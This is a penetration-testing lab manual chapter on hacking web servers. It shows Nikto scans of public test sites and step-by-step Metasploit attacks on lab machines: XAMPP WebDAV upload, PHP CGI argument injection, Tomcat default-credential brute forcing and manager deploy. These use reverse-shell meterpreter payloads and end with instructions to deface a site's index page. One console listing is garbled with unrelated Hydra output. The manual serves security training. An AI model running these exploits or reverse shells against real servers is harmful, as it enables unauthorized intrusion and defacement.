

A thick dark blue vertical bar runs down the left side of the page. A blue arrow-shaped banner points to the right from this bar, containing the text 'Chapter 13'. Below the banner, several thin, curved lines in shades of blue and grey sweep upwards from the bottom left corner.

## Chapter 13

# Hacking Web Servers

Lab Manual

**THIS DOCUMENT INCLUDES ADDITIONAL PRACTICALS WHICH  
MAY OR MAY NOT BE COVERED DURING CLASSROOM TRAINING.  
FOR MORE DETAILS APPROACH LAB COORDINATORS**

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## Practical 1: Scanning Web Server using Nikto

Nikto is used to identify vulnerabilities and misconfiguration on the server that hosts web applications.

**Nikto -h <target web site>**

```
root@kali:~# nikto -h http://testphp.vulnweb.com
- Nikto v2.1.6
-----
+ Target IP:          176.28.50.165
+ Target Hostname:    testphp.vulnweb.com
+ Target Port:        80
+ Start Time:         2018-04-29 17:46:22 (GMT5.5)
-----
+ Server: nginx/1.4.1
+ Retrieved x-powered-by header: PHP/5.3.10-1~lucid+2uwsgi2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the u
+ The X-Content-Type-Options header is not set. This could allow the user a
```

This tool will list possible vulnerabilities that can help an attacker to gain access to the target server. In the above screenshot, the target website <http://testphp.vulnweb.com> is not running **XSS-Protection Header** (possibility of XSS vulnerability) and **anti-clickjacking X-Frame-Options header** which can allow attackers to perform web-application based attacks on the target website.

```
root@kali:~# nikto -h http://www.altoromutual.com
- Nikto v2.1.6
-----
+ Target IP:          65.61.137.117
+ Target Hostname:    www.altoromutual.com
+ Target Port:        80
+ Start Time:         2018-04-29 16:36:25 (GMT5.5)
-----
+ Server: Microsoft-IIS/8.0
+ Retrieved x-aspnet-version header: 2.0.50727
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint
+ The X-Content-Type-Options header is not set. This could allow th
ferent fashion to the MIME type
+ Cookie amSessionId created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possibl
+ OSVDB-630: IIS may reveal its internal or real IP in the Location
ue is "http://192.168.1.117/images/".
+ Multiple index files found: /default.aspx, /default.htm
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
```

## Practical 2: Hacking webserver using Metasploit framework

To run Metasploit Framework, execute the following commands in terminal

***service postgresql start***

***msfconsole***

search for ***xampp\_webdav***

```
msf > search xampp_webdav
[!] Module database cache not built yet, using slow search

Matching Modules
=====

   Name                                           Disclosure Date   Rank
   ----                                           -
exploit/windows/http/xampp_webdav_upload_php  2012-01-14       excellent
Upload
```

Load exploit by executing the following command

```
msf > use exploit/windows/http/xampp_webdav_upload_php
```

To view the exploit options, execute ***show options*** command

```
msf exploit(windows/http/xampp_webdav_upload_php) > show options

Module options (exploit/windows/http/xampp_webdav_upload_php):

   Name      Current Setting  Required  Description
   ----      -
FILENAME                                no        The filename to give the payload.
dom)
PASSWORD    xampp            no        The HTTP password to specify for
PATH        /webdav/         yes       The path to attempt to upload
Proxies      no              A proxy chain of format type:host
][...]
RHOST       yes            The target address
RPORT       80             The target port (TCP)
SSL         false          Negotiate SSL/TLS for outgoing co
USERNAME    wampp          The HTTP username to specify for
VHOST       no            HTTP server virtual host

Exploit target:

   Id  Name
   --  -
   0    Automatic
```

set the RHOST value

```
msf exploit(windows/http/xampp_webdav_upload_php) > set RHOST 192.168.1.101
RHOST => 192.168.1.101
```

Set meterpreter payload

```
msf exploit(windows/http/xampp_webdav_upload_php) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
```

Set payload options (LHOST and LPORT)

```
msf exploit(windows/http/xampp_webdav_upload_php) > set LHOST 192.168.1.112
LHOST => 192.168.1.112
msf exploit(windows/http/xampp_webdav_upload_php) > set LPORT 12345
LPORT => 12345
```

Execute the **exploit** to gain access to web server.

```
msf exploit(windows/http/xampp_webdav_upload_php) > exploit

[*] Started reverse TCP handler on 192.168.1.112:12345
[*] Uploading Payload to /webdav/4Gygquh.php
[*] Attempting to execute Payload
[*] Sending stage (37775 bytes) to 192.168.1.101
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.1.112:12345 -> 192.168.1.101:49238)
+0530

meterpreter > 
```

## Practical 3: Hacking web server with the help of vulnerability in PHP.

This practical works on web servers running **PHP** version 5.2.4. In this case, we are considering Metasploitable2 OS as target machine.

Load Metasploit Framework

```
root@kali:~# service postgresql start
root@kali:~# msfconsole -q
```

search and load the exploit.

```
msf > search php_cgi_arg

Matching Modules
=====

   Name                                     Disclosure Date   Rank
   ----                                     -
   exploit/multi/http/php_cgi_arg_injection 2012-05-03       excellent

msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) >
```

Verify and configure required exploit options. Set a meterpreter payload to gain more control on the target server.

```
msf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name          Current Setting  Required  Description
   ----          -
   PLESK          false           yes       Exploit Plesk
   Proxies        no              no        A proxy chain of format type:host:port
   RHOST          yes             yes       The target address
   RPORT          80              yes       The target port (TCP)
   SSL            false           no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      no              no        The URI to request (must be a CGI-handled URI)
   URIENCODING    0               yes       Level of URI URIENCODING and padding
   VHOST          no              no        HTTP server virtual host

Exploit target:

   Id  Name
   --  -
   0    Automatic

msf exploit(php_cgi_arg_injection) > set RHOST 192.168.232.143
RHOST => 192.168.232.143
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 192.168.232.136
LHOST => 192.168.232.136
```



Once everything is configured, execute the **exploit** command to gain reverse connection.

```
msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.232.136:4444
[*] Sending stage (37775 bytes) to 192.168.232.143
[*] Sleeping before handling stage...
[*] Meterpreter session 2 opened (192.168.232.136:4444 -> 192.168.232.143:47443)
```

With the help of the meterpreter session, we can deface the website located in the web root of the target server. Execute **ls** command and look for the index.php page, remove or replace this page with customized php page.

```
meterpreter>hls
Listing: /var/wwwra-wizard
=====hydra -G
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or se
Mode           Size  Type  Last modified          Name
hydra: invalid option-- -- --
41777/rwxrwxrwx 4096  dir   2012-05-20 15:30:29 -0400 dav
40755/rwxr-xr-x 4096  dir   2012-05-20 15:52:33 -0400 dvwa
100644/rw-r--r-- 891   fil   2012-05-20 15:31:37 -0400 index.php
40755/rwxr-xr-x 4096  dir   2012-05-20 15:22:48 -0400 mutillidae
40755/rwxr-xr-x 4096  dir   2012-05-20 15:22:48 -0400 phpMyAdmin
100644/rw-r--r-- 19    fil   2012-05-20 15:22:48 -0400 phpinfo.php
40755/rwxr-xr-x 4096  dir   2012-05-20 15:22:48 -0400 test
40775/rwxrwxr-x 20480 dir   2012-05-20 15:22:48 -0400 tikiwiki
40775/rwxrwxr-x 20480 dir   2012-05-20 15:22:48 -0400 tikiwiki-old
40755/rwxr-xr-x 4096  dir   2012-05-20 15:22:48 -0400 twiki
```

```
meterpreter > rm index.php
meterpreter > upload index.php .
[*] uploading   : index.php -> .
[*] uploaded    : index.php -> ./index.php
```

## Practical 4: Hacking Tomcat Web Server with Metasploit Framework.

This practical works on web servers running **tomcat server** version 5.5. In this case, we are considering Metasploitable2 OS as target machine.

Start Metasploit framework

```
root@kali:~# service postgresql start
root@kali:~# msfconsole -q
```

At first, we need to crack username and password of tomcat service. Search for **tomcat** and select auxiliary module to crack the password

```
msf > search tomcat

Matching Modules
=====

   Name                                           Disclosure Date  Rank
   ----                                           -
auxiliary/admin/http/tomcat_administration      2009-01-09       normal
auxiliary/admin/http/tomcat_utf8_traversal      2009-01-09       normal
auxiliary/admin/http/trendmicro_dlp_traversal  2009-01-09       normal
auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06       normal
auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09       normal
DoS
auxiliary/dos/http/hashcollision_dos            2011-12-28       normal
auxiliary/scanner/http/tomcat_enum              2011-12-28       normal
auxiliary/scanner/http/tomcat_mgr_login         2011-12-28       normal
exploit/multi/http/struts_code_exec_classloader 2014-03-06       manual
on
exploit/multi/http/struts_dev_mode              2012-01-06       excellent
exploit/multi/http/tomcat_jsp_upload_bypass    2017-10-03       excellent
exploit/multi/http/tomcat_mgr_deploy           2009-11-09       excellent
ode Execution
exploit/multi/http/tomcat_mgr_upload            2009-11-09       excellent
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07       excellent
load
post/multi/gather/tomcat_gather                 2015-04-07       normal
post/windows/gather/enum_tomcat                 2015-04-07       normal
```

Load auxiliary, verify options and configure **RHOSTS**, **RPORT** values



```

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(scanner/http/tomcat_mgr_login) > show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

  Name          Current Setting
  ----          -
  BLANK_PASSWORDS false
  BRUTEFORCE_SPEED 5
  DB_ALL_CREDS     false
  DB_ALL_PASS      false
  DB_ALL_USERS     false
  PASS_FILE        /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
  PROXIES           []
  RHOSTS           []
  RPORT            8080
  SSL              false
  STOP_ON_SUCCESS  false
  TARGETURI        /manager/html

```

```

  THREADS          1
  USERNAME         []
  USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt
  USER_AS_PASS      false
  USER_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
  VERBOSE           true
  VHOST            []

```

```

msf auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.232.143
RHOSTS => 192.168.232.143

```

Execute **exploit** command to crack username and password of tomcat service.

```

[-] 192.168.232.143:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.232.143:8180 - Login Successful: tomcat:tomcat
[-] 192.168.232.143:8180 - LOGIN FAILED: both:admin (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:manager (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:role1 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:root (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:tomcat (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:s3cret (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:vagrant (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: ovwebusr:0vW*busr1 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: root:owaspbwa (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: QCC:QLogic66 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

In the results, a line which shows **Login Successful** indicates username, password of tomcat service.

Now, as we know login credentials, we can start exploiting the target. Search for tomcat in Metasploit framework and select **exploit/multi/http/tomcat\_mgr\_deploy**

```

msf auxiliary(scanner/http/tomcat_mgr_login) > search tomcat

Matching Modules
=====

  Name                                          Disclosure Date  Rank
  ----                                          -
  auxiliary/admin/http/tomcat_administration    2009-01-09      normal
  auxiliary/admin/http/tomcat_utf8_traversal    2009-01-09      normal
  auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09      normal
  auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06      normal
  auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09      normal
  DoS
  auxiliary/dos/http/hashcollision_dos          2011-12-28      normal
  auxiliary/scanner/http/tomcat_enum            2009-11-09      normal
  auxiliary/scanner/http/tomcat_mgr_login        2009-11-09      normal
  exploit/multi/http/struts_code_exec_classloader 2014-03-06      manual
  on
  exploit/multi/http/struts_dev_mode            2012-01-06      excellent
  exploit/multi/http/tomcat_jsp_upload_bypass    2017-10-03      excellent
  exploit/multi/http/tomcat_mgr_deploy          2009-11-09      excellent
  Code Execution
  exploit/multi/http/tomcat_mgr_upload          2009-11-09      excellent
  exploit/multi/http/zenworks_configuration_management_upload 2015-04-07      excellent
  load
  post/multi/gather/tomcat_gather                2009-11-09      normal
  post/windows/gather/enum_tomcat                2009-11-09      normal

```

Load exploit and configure **HttpPassword**, **HttpUsername** to above-gathered password and username of tomcat service. **RHOST**, **RPORT** to target's IP address and port number respectively.

```

msf auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(multi/http/tomcat_mgr_deploy) >

```

```
msf exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

  Name          Current Setting  Required  Description
  ----          -
  HttpPassword           no          The password for the specified username
  HttpUsername           no          The username to authenticate as
  PATH                  /manager       yes        The URI path of the manager app (/deploy
  Proxies               no          A proxy chain of format type:host:port[,
  RHOST                 yes          The target address
  RPORT                 80           yes        The target port (TCP)
  SSL                   false         no         Negotiate SSL/TLS for outgoing connectio
  VHOST                 no           HTTP server virtual host

Exploit target:

  Id  Name
  --  ---
  0    Automatic
```

```
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.232.143
RHOST => 192.168.232.143
msf exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
```

Configure a payload from available list of payloads and set payload options.

```
msf exploit(multi/http/tomcat_mgr_deploy) > show payloads

Compatible Payloads
=====

  Name          Disclosure Date  Rank    Description
  ----          -
  generic/custom           normal    Custom Payload
  generic/shell_bind_tcp   normal    Generic Command Shell,
  generic/shell_reverse_tcp normal    Generic Command Shell,
  java/meterpreter/bind_tcp normal    Java Meterpreter, Java
  java/meterpreter/reverse_http normal    Java Meterpreter, Java
  java/meterpreter/reverse_https normal    Java Meterpreter, Java
  java/meterpreter/reverse_tcp normal    Java Meterpreter, Java
  java/shell/bind_tcp      normal    Command Shell, Java Bin
  java/shell/reverse_tcp   normal    Command Shell, Java Rev
  java/shell_reverse_tcp   normal    Java Command Shell, Rev

msf exploit(multi/http/tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_deploy) > set LHOST 192.168.232.136
LHOST => 192.168.232.136
```

```
msf exploit(multi/http/tomcat_mgr_deploy) > show options
```

Module options (exploit/multi/http/tomcat\_mgr\_deploy):

| Name         | Current Setting | Required | Description                              |
|--------------|-----------------|----------|--|
| HttpPassword | tomcat          | no       | The password for the specified username  |
| HttpUsername | tomcat          | no       | The username to authenticate as          |
| PATH         | /manager        | yes      | The URI path of the manager app (/deploy |
| Proxies      |                 | no       | A proxy chain of format type:host:port[, |
| RHOST        | 192.168.232.143 | yes      | The target address                       |
| RPORT        | 8180            | yes      | The target port (TCP)                    |
| SSL          | false           | no       | Negotiate SSL/TLS for outgoing connectio |
| VHOST        |                 | no       | HTTP server virtual host                 |

Payload options (java/meterpreter/reverse\_tcp):

| Name  | Current Setting | Required | Description                                     |
|-------|-----------------|----------|---|
| LHOST | 192.168.232.136 | yes      | The listen address (an interface may be specifi |
| LPORT | 4444            | yes      | The listen port                                 |

Exploit target:

| Id | Name      |
|----|-----------|
| 0  | Automatic |

Execute **exploit** command to gain meterpreter session.

```
msf exploit(multi/http/tomcat_mgr_deploy) > exploit
```

```
[*] Started reverse TCP handler on 192.168.232.136:4444
[*] Attempting to automatically select a target ...
[*] Automatically selected target "Linux x86"
[*] Uploading 6260 bytes as HuNl7PAR.war ...
[*] Executing /HuNl7PAR/QCbsYfEbWMTTrnIagJSEgxYlfk7WR86.jsp...
[*] Undeploying HuNl7PAR ...
[*] Sending stage (53837 bytes) to 192.168.232.143
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.232.136:4444 -> 192.168.232.143:60943)
```

```
meterpreter> sysinfo
```

```
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Meterpreter   : java/linux
meterpreter> pwd
```

```
/
```